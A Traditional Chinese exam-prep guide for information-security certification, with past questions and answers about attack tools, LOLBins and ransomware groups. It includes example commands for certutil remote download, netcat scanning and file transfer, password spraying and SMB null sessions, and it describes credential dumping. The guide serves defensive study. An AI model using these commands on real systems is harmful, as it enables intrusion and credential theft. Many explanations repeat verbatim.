B正確：Certutil.exe是Windows憑證管理工具，可使用 certutil -urlcache -split -f [URL] 命令下載遠端檔案，並常被用於解碼Base64以迴避偵測。
C正確：HH.exe（HTML Help）是Windows原生的HTML說明執行程式，可透過指定遠端CHM檔案路徑達到遠端下載與執行的效果。
D錯誤：Update.exe並非Windows作業系統的原生內建指令，通常是特定應用程式（如Squirrel更新框架）的更新程式，不屬於Windows系統原生工具。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 典型 LOLBin，利用 Windows 合法工具繞過偵測
- 與 Bitsadmin 並列
- 考古題出現在「後滲透工具鏈」辨識
Lcx.exe
連接埠轉發工具（惡意使用）
規劃-111-Q20
📖 工具介紹
連接埠轉發（Port Forwarding）工具，攻擊者在取得立足點後用於建立隧道，將內網流量轉發至外部，繞過防火牆限制。
⚙️ 使用情境 / 重要參數
惡意用途：後滲透建立通訊隧道、將內網流量轉發到外部 C2 考題情境：在網站 Web Root 目錄發現 Lcx.exe → 確認為遭入侵的入侵指標（IoC）
📝 代表考題（規劃-111-Q20）
「某政府一級單位官網，交付政府維運機房代管，要求服務層級協議（Service Level Agreement, SLA）99.999%服務水平，監測發現該政府官網，固定在每週日，半夜 12:00 會自動停止服務 30 分鐘。該事件已經持續半年才被發現，在風險問題排除過程中：（1）IIS Web Server 都服務正常、（2）MS-SQL 資料庫服務也正常、（3）防火牆也未變動其政策、（4）檢查相關排程有每月一次定期備份檔案到 D 磁碟某目錄、（5）在檔案異動上發現有多了一個 Lcx.exe 惡意程序放在 Web Root 目錄。」下列哪些選項屬於合適的風險處置措施？（複選）
A.問題經半年才被發現，表示目前缺乏有效監管網站存活狀態，可利用工具建立監控機制，監控 Web Server、URL 連結、資料庫 1433 通訊，就可以知道系統服務層級協議狀態與降低中斷服務的風險 ✓
B.在 Web root 目錄出現 Lcx.exe，確定屬被駭客入侵的資安事件，必須先通知部會主管後，緊急補救風險處理 ✓
C.以 99.999%服務層級協議來看，本次事件長達半年，以一年 365 天計算仍符合 99.999%服務層級協議
D.必須依規定進行通報，例如：「國家資通安全通報應變網站」進行通報 ✓
正確答案：
A、B、D
▶ 查看解析
正確答案是A、B、D。
A) 正確：建立有效的服務監控機制是本次事件的關鍵改善措施。
B) 正確：發現 Lcx.exe（惡意後門程式），確認遭駭客入侵，應立即通知主管並緊急處理。
C) 錯誤：每週中斷30分鐘，半年約26次，總中斷逾13小時，99.999% SLA 全年僅允許約5.26分鐘停機，本案嚴重違反 SLA。
D) 正確：政府機關遭受資安事件，依法應向「國家資通安全通報應變網站」通報。
A) 正確：建立有效的服務監控機制是本次事件的關鍵改善措施。
B) 正確：發現 Lcx.exe（惡意後門程式），確認遭駭客入侵，應立即通知主管並緊急處理。
C) 錯誤：每週中斷30分鐘，半年約26次，總中斷逾13小時，99.999% SLA 全年僅允許約5.26分鐘停機，本案嚴重違反 SLA。
D) 正確：政府機關遭受資安事件，依法應向「國家資通安全通報應變網站」通報。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 發現 Lcx.exe = 資安事件 IoC（必須立即應變）
- 需立即通報主管並採取緊急處置
- 政府機關需向「國家資通安全通報應變網站」通報
Mimikatz
憑證竊取
防護-111-Q28 防護-113-2-Q38 防護-114-1-Q7
📖 工具介紹
Windows 憑證提取工具，可從 LSASS 進程記憶體中提取明文密碼、NTLM 雜湊值、Kerberos 票券。
⚙️ 使用情境 / 重要參數
ATT&CK：T1003 OS Credential Dumping Pass-the-Hash 攻擊工具 Kerberos Golden Ticket / Silver Ticket 偽造
📝 代表考題（防護-111-Q28）
【題組 2】駭客勒索集團針對各類系統漏洞進行攻擊，掌握全球駭客勒索集團相關技術資訊，取得駭客集團第一手攻擊手法，或是暗網的技術資料，並進行防護有效性驗證與分析，是身為專業資安人員應具備的基本能力。某駭客集團善用合法白名單工具，來躲避相關資安防護機制的分析與阻斷，關於白名單工具分析與敘述，下列哪些正確？（複選）
A.Cobalt Strike 原是對手模擬和紅隊行動是安全評估工具，可複製網絡中高級對手的戰術和技術，被勒索集團（Conti, Hello 等）轉換成攻擊威脅橫向移動工具 ✓
B.Mimikatz 原是進行遠端指令執行使用的好工具，卻被勒索集團（Doppelpaymer, Revil 等）用在任意命令執行與橫向移動
C.ADFind 應用在 AD 搜尋的實用工具，被勒索集團（ProLock, Revil 等）利用在橫向移動 ✓
D.MegaSync 原是雲端儲存空間，被勒索集團（RansomEXX, LockBit 等）利用公開不付贖金外洩資料的載點 ✓
正確答案：
A、C、D
▶ 查看解析
【正確答案：A、C、D】
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- LSASS 記憶體傾印對應「憑證存取（Credential Access）」戰術
- 與 Cobalt Strike 搭配是 APT 標準工具鏈
Netcat (nc)
網路工具（後門 / Reverse Shell）
防護-110 安全防護-Q37 防護-114-2-Q35
📖 工具介紹
多功能網路工具，可建立 TCP/UDP 連線，常用於建立 Reverse Shell（反向 Shell）後門通道。
⚙️ 使用情境 / 重要參數
Bind Shell：監聽特定埠等待連入 Reverse Shell：主動連回攻擊者控制的伺服器 別名：NetCat、nc
📝 代表考題（防護-110 安全防護-Q37）
【題組5 背景描述】
小張為某公司資安工程師，其使用某工具並輸入了下列的指令執行：
nc -vzw5 192.168.0.1 1-2048（操控端）
nc -v -z -w5 192.168.0.1 1-2048（操控端）
nc -ltp 80（操控端）
nc -l -p 80 < /test.txt（操控端）
nc -t -p 80 < /test.txt（操控端）
nc -g -p 80 > /test.txt（操控端）
nc -g -p 80 < /test.txt（操控端）
nc -l -p 80（操控端）
請問小張使用此工具的主要目的為下列何者？
小張為某公司資安工程師，其使用某工具並輸入了下列的指令執行：
nc -vzw5 192.168.0.1 1-2048（操控端）
nc -v -z -w5 192.168.0.1 1-2048（操控端）
nc -ltp 80（操控端）
nc -l -p 80 < /test.txt（操控端）
nc -t -p 80 < /test.txt（操控端）
nc -g -p 80 > /test.txt（操控端）
nc -g -p 80 < /test.txt（操控端）
nc -l -p 80（操控端）
請問小張使用此工具的主要目的為下列何者？
A.NetChannel 工具通常使用於網路管理情境之下，主要目的為建立網路通道之用
B.NoCommand 工具通常使用於將 DOS Command 轉換為 GUI 介面執行
C.NoCommunication 工具通常使用於建立雙方之通訊連線
D.NetCat 工具通常使用於網路管理情境之下，亦為滲透測試常用工具之一 ✓
正確答案：
D
▶ 查看解析
【正確答案：D】指令中使用的「nc」是NetCat工具的縮寫，NetCat被稱為「網路界的瑞士刀（Swiss Army Knife of Networking）」，可用於：
1. TCP/UDP連接的建立（包含Port掃描、服務探測）
2. 監聽（Listen）特定Port
3. 檔案傳輸
4. 建立反向Shell（Reverse Shell）
5. Port forwarding
因此NetCat在網路管理與滲透測試中都被廣泛使用，選項D的描述最為精確。
【A錯誤】「NetChannel」並非nc工具的全名，此為混淆選項。
【B錯誤】「NoCommand」是完全錯誤的名稱與功能描述。
【C錯誤】「NoCommunication」是完全錯誤的名稱，且描述不夠精確。
1. TCP/UDP連接的建立（包含Port掃描、服務探測）
2. 監聽（Listen）特定Port
3. 檔案傳輸
4. 建立反向Shell（Reverse Shell）
5. Port forwarding
因此NetCat在網路管理與滲透測試中都被廣泛使用，選項D的描述最為精確。
【A錯誤】「NetChannel」並非nc工具的全名，此為混淆選項。
【B錯誤】「NoCommand」是完全錯誤的名稱與功能描述。
【C錯誤】「NoCommunication」是完全錯誤的名稱，且描述不夠精確。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 NetChannel 混淆（兩者為不同工具）
- Reverse Shell 常以 Netcat 實現
- 出現在「後滲透持久化工具」選項
Ntdsutil
後滲透（AD 攻擊）
防護-113-1-Q36
📖 工具介紹
Windows AD（Active Directory）資料庫管理工具，被攻擊者用於傾印 NTDS.dit（含所有域帳號密碼雜湊）。
⚙️ 使用情境 / 重要參數
ATT&CK：T1003.003 NTDS 惡意使用：取得所有 AD 帳號的 NTLM 雜湊，再配合 Pass-the-Hash 或 Hashcat 破解
📝 代表考題（防護-113-1-Q36）
【題組4】（情境詳見第33題）網域控制站（DC）是滲透測試重要的目標，而 ntds.dit 是 AD 主要的資料，可以透過下列哪些方式進行提取？
A.Ntdsutil.exe 提取 ntds.dit ✓
B.使用 vssadmin 提取 ntds.dit ✓
C.利用 diskshadow 匯出 ntds.dit ✓
D.利用 certutil.exe 提取 ntds.dit
正確答案：
ABC
▶ 查看解析
【正確答案ABC】
【A選項分析】Ntdsutil.exe 是 Windows 內建的 AD 資料庫管理工具，可用於建立 ntds.dit 的備份快照，A正確。
【B選項分析】vssadmin 可管理 Volume Shadow Copy（磁碟區陰影複製），攻擊者可透過建立 Shadow Copy 後複製出 ntds.dit 文件，B正確。
【C選項分析】diskshadow 是另一個可操作 VSS 的工具，可用於匯出 ntds.dit，C正確。
【D選項分析】certutil.exe 主要用於憑證管理及檔案下載（常被用於 LOLBins 下載惡意檔案），但不是提取 ntds.dit 的標準方式，D不正確。
【A選項分析】Ntdsutil.exe 是 Windows 內建的 AD 資料庫管理工具，可用於建立 ntds.dit 的備份快照，A正確。
【B選項分析】vssadmin 可管理 Volume Shadow Copy（磁碟區陰影複製），攻擊者可透過建立 Shadow Copy 後複製出 ntds.dit 文件，B正確。
【C選項分析】diskshadow 是另一個可操作 VSS 的工具，可用於匯出 ntds.dit，C正確。
【D選項分析】certutil.exe 主要用於憑證管理及檔案下載（常被用於 LOLBins 下載惡意檔案），但不是提取 ntds.dit 的標準方式，D不正確。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- AD 攻擊工具鏈：Ntdsutil 傾印 → Mimikatz 分析 → 橫向移動
- 與 Mimikatz 等工具配合使用
PowerShell / Empire
後滲透 / LOL（Living off the Land）
防護-110 安全防護-Q18 防護-111-Q25 防護-113-1-Q35 防護-114-1-Q6
📖 工具介紹
PowerShell 是 Windows 管理工具，常被攻擊者濫用執行惡意腳本（無檔案攻擊）。PowerShell Empire 是紅隊後滲透框架。
⚙️ 使用情境 / 重要參數
惡意使用：無檔案攻擊（Fileless Attack）、繞過防毒偵測、橫向移動 ExecutionPolicy：PowerShell 執行政策（可被攻擊者繞過）
📝 代表考題（防護-111-Q25）
【題組 2】勒索病毒（Ransomware）成為企業政府頭疼的資安問題，在面對新穎勒索病毒與散布方式，並無百分百對策。上層長官要求提出針對勒索病毒防護的安全架構規劃，常見就是防毒系統更新建置為其中一個對策。您是某公司的資安工程師，在全單位都是微軟作業系統的環境下，關於對策方案之減損（減災），下列敘述何者較「不」正確？
A.在端點電腦應建立有效個人備份機制，將同仁個別檔案備份或同步至單位組織的 NAS 主機
B.在端點電腦或伺服器，可引進「應用程式白名單系統」，放行 Windows OS 所有應用程式與單位公版合法軟體 ✓
C.端點電腦或伺服器依據零信任安全原則，有限度開放（多數限縮）Office 使用巨集（Macro）功能，因為巨集程序的執行也是勒索病毒重要媒介
D.端點電腦或伺服器可以管控限制 Windows OS 指令行為模式（CMD、PowerShell…）可執行權限與能力，可以大幅減少 ps1 類型的勒索病毒或是 PowerShell 無檔案式（File-less）攻擊
正確答案：
B
▶ 查看解析
【正確答案：B】
應用程式白名單（Application Whitelisting）的正確做法是「僅放行已知安全且經授權的程式」執行，而非「放行 Windows OS 所有應用程式」。若將所有 Windows 內建應用程式均列入白名單，攻擊者可利用 Windows 合法內建工具（如 PowerShell、WScript、mshta 等）執行惡意程式，稱為「Living off the Land」攻擊，完全無法達到白名單的防護效果。
【選項A正確】定期備份個人檔案至 NAS 是勒索病毒「減損」的重要措施，確保即使遭到加密仍可從備份還原。
【選項C正確】零信任原則下限制 Macro 執行是有效防護，因為惡意 Office 巨集是勒索病毒的重要散布媒介（如 Emotet 等）。
【選項D正確】限制 CMD、PowerShell 等命令列工具的執行權限，可有效降低無檔案式（Fileless）攻擊的成功率。
應用程式白名單（Application Whitelisting）的正確做法是「僅放行已知安全且經授權的程式」執行，而非「放行 Windows OS 所有應用程式」。若將所有 Windows 內建應用程式均列入白名單，攻擊者可利用 Windows 合法內建工具（如 PowerShell、WScript、mshta 等）執行惡意程式，稱為「Living off the Land」攻擊，完全無法達到白名單的防護效果。
【選項A正確】定期備份個人檔案至 NAS 是勒索病毒「減損」的重要措施，確保即使遭到加密仍可從備份還原。
【選項C正確】零信任原則下限制 Macro 執行是有效防護，因為惡意 Office 巨集是勒索病毒的重要散布媒介（如 Emotet 等）。
【選項D正確】限制 CMD、PowerShell 等命令列工具的執行權限，可有效降低無檔案式（Fileless）攻擊的成功率。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- PowerShell 常出現在後滲透技術辨識題
- ExecutionPolicy 繞過是 APT 常見手法
- LOLBin 概念：使用合法系統工具執行惡意行為
Smbmap
SMB 枚舉
防護-113-1-Q35
📖 工具介紹
SMB 共享資源列舉工具，查詢目標系統的共享資料夾與存取權限。
⚙️ 使用情境 / 重要參數
ATT&CK：T1135 Network Share Discovery 使用情境：枚舉 SMB 共享目錄、偵察內網敏感路徑
📝 代表考題（防護-113-1-Q35）
【題組4】（情境詳見第33題）紅隊進行內部滲透測試攻擊，下列哪一項「不」是針對 Password spray 會使用的手法？
A.cme smb <dc-ip> -u user.txt -p password.txt –no-bruteforce
B.Cme<IP> -U 'user' -p 'password' –pass-pol
C.Get-ADDefaultDomainPasswordPolicy
D.Smbmap -u '''' -p'''' -P 445 -H<dc-ip> ✓
正確答案：
D
▶ 查看解析
【正確答案D】`Smbmap -u '' -p'' -P 445 -H<dc-ip>` 是使用空白帳密嘗試 SMB 空連線（Null Session），用於測試是否允許匿名存取，屬於資訊蒐集/列舉手法，並非 Password Spray（密碼噴射）攻擊手法。
【A選項分析】`cme smb ... -u user.txt -p password.txt --no-bruteforce` 使用 CrackMapExec 對多個帳號嘗試相同密碼，屬於 Password Spray 手法，A正確。
【B選項分析】`Cme<IP> -U 'user' -p 'password' --pass-pol` 查詢密碼政策以了解鎖定閾值，是 Password Spray 前置偵察步驟，B正確。
【C選項分析】`Get-ADDefaultDomainPasswordPolicy` 是 PowerShell 指令用於查詢 AD 密碼政策（如帳號鎖定次數），是 Password Spray 前置偵察步驟，C正確。
【A選項分析】`cme smb ... -u user.txt -p password.txt --no-bruteforce` 使用 CrackMapExec 對多個帳號嘗試相同密碼，屬於 Password Spray 手法，A正確。
【B選項分析】`Cme<IP> -U 'user' -p 'password' --pass-pol` 查詢密碼政策以了解鎖定閾值，是 Password Spray 前置偵察步驟，B正確。
【C選項分析】`Get-ADDefaultDomainPasswordPolicy` 是 PowerShell 指令用於查詢 AD 密碼政策（如帳號鎖定次數），是 Password Spray 前置偵察步驟，C正確。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 偵察 / 資訊蒐集階段工具
- 出現在與 ADFind 並列的 AD 環境偵察工具選項
💀 惡意軟體 / 勒索程式
Azorult
惡意軟體（資訊竊取 / Infostealer）
防護-111-Q5
📖 工具介紹
資訊竊取型惡意軟體（Infostealer），竊取瀏覽器儲存密碼、加密貨幣錢包、信用卡資料等。
⚙️ 使用情境 / 重要參數
傳播途徑：網路釣魚郵件、惡意廣告（Malvertising）
📝 代表考題（防護-111-Q5）
請問下列何項惡意程式具有 SSH 截持的能力？
A.Ebury ✓
B.Azorult
C.MacSpy
D.Xtunnel
正確答案：
A
▶ 查看解析
【正確答案：A】
Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 Ebury、MacSpy、Xtunnel 同題出現（防護-111-Q5）
- 屬「間諜軟體 / 資訊竊取軟體」類別
Conti
勒索軟體組織
規劃-110規劃-Q32 規劃-110規劃-Q37 規劃-111-Q29 規劃-112-1-Q20 規劃-112-1-Q23 規劃-113-1-Q26 防護-111-Q28 防護-114-1-Q10 防護-114-2-Q11
📖 工具介紹
俄羅斯背景的勒索軟體組織，曾大規模攻擊醫療機構和政府單位，2022 年解散並衍生 BlackBasta 等多個分支。
⚙️ 使用情境 / 重要參數
常用工具：Cobalt Strike 特徵：雙重勒索、針對關鍵基礎設施
📝 代表考題（規劃-110規劃-Q32）
（承題組3背景）營運持續管理的資訊安全構面在於防治營運活動的中斷，保護重要營運過程不受重大資訊系統失效或災害的影響，並確保及時的回復，關於營運持續，下列敘述何者較「不」正確？
A.依據 ISO/IEC 27001 規範提出組織持續營運所需的資訊與資訊安全要求、並識別能導致營運過程中斷的事件，以及它們對資訊安全的衝擊與後果
B.遵循 ISO/IEC 27001，組織應考量多重備援之方案，規劃資訊處理設施之可用性的相關控制措施
C.參閱 ISO 22301 營運持續管理系統的框架，組織擬訂之營運持續計劃（Business Continuity Plan, BCP）應必須包含：計劃啟動條件、緊急應變程序、減災程序、後撤及召回程序、維護時程表、定期演練以及教育訓練等相關作業 ✓
D.組織發展與執行 BCP 持續營運計劃時，除關鍵活動中斷或設備障礙需於必要時間內恢復營運，也應定期測試與更新，以確保持續的適當性、充分性、及有效性
正確答案：
C
▶ 查看解析
【正確答案C（不正確的敘述）】ISO 22301對BCP的要求並未包含「後撤及召回程序（Evacuation and Recall Procedures）」作為必要元素。後撤程序屬於緊急應變計畫（ERP, Emergency Response Plan）的範疇，而非BCP的核心組成。BCP主要聚焦於業務功能的持續性，而非人員疏散程序。
【A正確】ISO 27001確實要求識別可能導致中斷的事件及其資安衝擊。
【B正確】ISO 27001要求規劃資訊處理設施的可用性控制措施，包含備援。
【D正確】BCP應定期測試與更新，確保持續有效是ISO 22301的核心要求。
【A正確】ISO 27001確實要求識別可能導致中斷的事件及其資安衝擊。
【B正確】ISO 27001要求規劃資訊處理設施的可用性控制措施，包含備援。
【D正確】BCP應定期測試與更新，確保持續有效是ISO 22301的核心要求。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 REvil、DoppelPaymer 並列辨識
- 勒索信內容無法確定組織身份
DoppelPaymer
勒索軟體組織
規劃-110規劃-Q37 防護-111-Q28
📖 工具介紹
德語地區勒索軟體組織，常攻擊製造業、醫療機構，採用雙重勒索策略，與 BitPaymer 有關聯。
⚙️ 使用情境 / 重要參數
特徵：雙重勒索策略、針對製造業 / 醫療機構
📝 代表考題（規劃-110規劃-Q37）
【題組5背景】A 公司為先進資通訊產品代工製造商，為台灣股票公開發行公司，接受美國知名大廠 B 公司委託代為生產 B 公司所研發與設計商品，為了保護 B 公司的產品設計的機密與安全，A 公司在與 B 公司的製造的合約中，有嚴格的保密條款要求不得以任何型式洩露 B 公司的任何有關他們設計的產品資訊。A 公司也向 B 公司宣稱所有 B 公司委託生產製造的生產線皆採用獨立的生產線及網路實體隔離不與 Internet 連接。
B 公司生產環境的廠區 24 小時全面監控 IPCam 將錄影資訊留存於 A 公司的 DVR 伺服器中，保存 6 個月之久，所有的管理帳中集中於 AAA 伺服器中，由專人管理，絕對安全可靠。
此外，為方便管理 B 公司產線共用 A 公司的製造執行系統 MES（Manufacturing Execution System），提供自動化的製造排程與即時的圖表式看板供產線管理人員及 B 公司相關人員即時監控實際的生產狀況，如有任何異常立即排除。
某日 A 公司員工發現收到附圖的電子郵件勒索信（信中顯示「Your network has been infected」，要求購買 General-Decryptor 解密），請問 A 公司是受到下列何組織/集團的加密勒索？
B 公司生產環境的廠區 24 小時全面監控 IPCam 將錄影資訊留存於 A 公司的 DVR 伺服器中，保存 6 個月之久，所有的管理帳中集中於 AAA 伺服器中，由專人管理，絕對安全可靠。
此外，為方便管理 B 公司產線共用 A 公司的製造執行系統 MES（Manufacturing Execution System），提供自動化的製造排程與即時的圖表式看板供產線管理人員及 B 公司相關人員即時監控實際的生產狀況，如有任何異常立即排除。
某日 A 公司員工發現收到附圖的電子郵件勒索信（信中顯示「Your network has been infected」，要求購買 General-Decryptor 解密），請問 A 公司是受到下列何組織/集團的加密勒索？
A.Revil
B.Conti
C.DoppelPaymer
D.無法確認是否真的是加密勒索 ✓
正確答案：
D
▶ 查看解析
【正確答案D】僅憑電子郵件中的勒索訊息內容（要求購買General-Decryptor），無法確定是哪個勒索軟體組織所為，因為：
(1) 多個勒索軟體組織都可能使用類似的勒索信格式。
(2) 攻擊者可能偽裝成知名組織。
(3) 資安鑑識需要分析惡意程式樣本、C2伺服器、加密方式等技術指標（IoC）才能確認歸因。
REvil、Conti、DoppelPaymer都是真實存在的勒索軟體組織，但僅憑勒索信文字無法確認身份。
(1) 多個勒索軟體組織都可能使用類似的勒索信格式。
(2) 攻擊者可能偽裝成知名組織。
(3) 資安鑑識需要分析惡意程式樣本、C2伺服器、加密方式等技術指標（IoC）才能確認歸因。
REvil、Conti、DoppelPaymer都是真實存在的勒索軟體組織，但僅憑勒索信文字無法確認身份。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 REvil、Conti 並列
- 考古題情境：A 公司收到勒索信（信中要求購買 General-Decryptor）→ 正確答案：「無法確認是哪個組織」
Ebury
惡意軟體（Linux 後門）
防護-111-Q5
📖 工具介紹
Linux/Unix SSH 後門惡意軟體，透過替換 OpenSSH 竊取登入憑證，具有高度隱蔽性。
⚙️ 使用情境 / 重要參數
特徵：針對 Linux 伺服器、偽裝成合法 SSH 服務、竊取所有透過 SSH 登入的憑證
📝 代表考題（防護-111-Q5）
請問下列何項惡意程式具有 SSH 截持的能力？
A.Ebury ✓
B.Azorult
C.MacSpy
D.Xtunnel
正確答案：
A
▶ 查看解析
【正確答案：A】
Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
Ebury 是一個針對 Linux/Unix 系統的進階持久性惡意程式（APT-level rootkit），其中一項主要功能即是截持（hijack）SSH 連線，竊取 SSH 憑證與私鑰，以便進行橫向移動與持久潛伏。
【選項B錯誤】Azorult 是一種資訊竊取（Infostealer）型惡意程式，主要針對 Windows 平台竊取密碼、加密貨幣錢包等資訊，並非 SSH 截持工具。
【選項C錯誤】MacSpy 是針對 macOS 平台的間諜軟體（Spyware），具備截圖、鍵盤側錄等功能，並不涉及 SSH 截持。
【選項D錯誤】Xtunnel 是與 APT28（Fancy Bear）相關的網路代理工具，用於建立隱蔽通道，並非 SSH 截持惡意程式。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 出現在「哪些屬於間諜軟體（Spyware）」辨識題
- 與 Azorult、MacSpy、Xtunnel 四者並列為同一題的四個選項（防護-111-Q5）
LockBit
勒索軟體組織（RaaS）
防護-111-Q28
📖 工具介紹
目前最活躍的 RaaS 組織之一，以速度快、自動化橫向移動聞名，針對全球多種產業。
⚙️ 使用情境 / 重要參數
特徵：速度最快的勒索軟體之一、自動化 AD 橫向移動、多版本（LockBit 2.0、3.0）
📝 代表考題（防護-111-Q28）
【題組 2】駭客勒索集團針對各類系統漏洞進行攻擊，掌握全球駭客勒索集團相關技術資訊，取得駭客集團第一手攻擊手法，或是暗網的技術資料，並進行防護有效性驗證與分析，是身為專業資安人員應具備的基本能力。某駭客集團善用合法白名單工具，來躲避相關資安防護機制的分析與阻斷，關於白名單工具分析與敘述，下列哪些正確？（複選）
A.Cobalt Strike 原是對手模擬和紅隊行動是安全評估工具，可複製網絡中高級對手的戰術和技術，被勒索集團（Conti, Hello 等）轉換成攻擊威脅橫向移動工具 ✓
B.Mimikatz 原是進行遠端指令執行使用的好工具，卻被勒索集團（Doppelpaymer, Revil 等）用在任意命令執行與橫向移動
C.ADFind 應用在 AD 搜尋的實用工具，被勒索集團（ProLock, Revil 等）利用在橫向移動 ✓
D.MegaSync 原是雲端儲存空間，被勒索集團（RansomEXX, LockBit 等）利用公開不付贖金外洩資料的載點 ✓
正確答案：
A、C、D
▶ 查看解析
【正確答案：A、C、D】
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
【選項A正確】Cobalt Strike 確實是合法的商業滲透測試/紅隊工具，原設計用於對手模擬，但其功能強大（Beacon、橫向移動、C2 通訊等），已被 Conti、Hello 等多個勒索集團廣泛濫用作為攻擊工具。
【選項B錯誤】Mimikatz 的設計原意是研究 Windows 認證機制（特別是 LSASS 記憶體中的憑證提取），而非「遠端指令執行工具」。Mimikatz 主要被攻擊者用於憑證竊取（Credential Dumping）和傳遞雜湊值攻擊（Pass-the-Hash），而非任意命令執行。
【選項C正確】ADFind 是 Active Directory 物件搜尋工具，可枚舉 AD 中的使用者、群組、電腦等資訊，ProLock、REvil 等勒索集團利用此工具進行 AD 偵查與橫向移動準備。
【選項D正確】MEGA（MegaSync）是合法的雲端儲存服務，RansomEXX、LockBit 等勒索集團將竊取的資料上傳至 MEGA，作為雙重勒索（Double Extortion）的資料外洩平台，威脅受害者若不付贖金即公開資料。
⚠️ 關鍵考點 ／ 常見陷阱 ／ 擴充方向
- 與 REvil、Conti 等並列出現在勒索軟體組織辨識題
MacSpy
惡意軟體（macOS 間諜軟體）
防護-111-Q5
📖 工具介紹
macOS 平台的間諜軟體（RAT），可擷取螢幕截圖、鍵盤記錄、進行遠端控制等。屬商業化惡意軟體（MaaS）。
⚙️ 使用情境 / 重要參數
特徵：針對 macOS 系統、商業化 MaaS 模式提供
📝 代表考題（防護-111-Q5）
請問下列何項惡意程式具有 SSH 截持的能力？
A.Ebury ✓
B.Azorult
C.MacSpy
D.Xtunnel
正確答案：
A
▶ 查看解析
【正確答案：A】
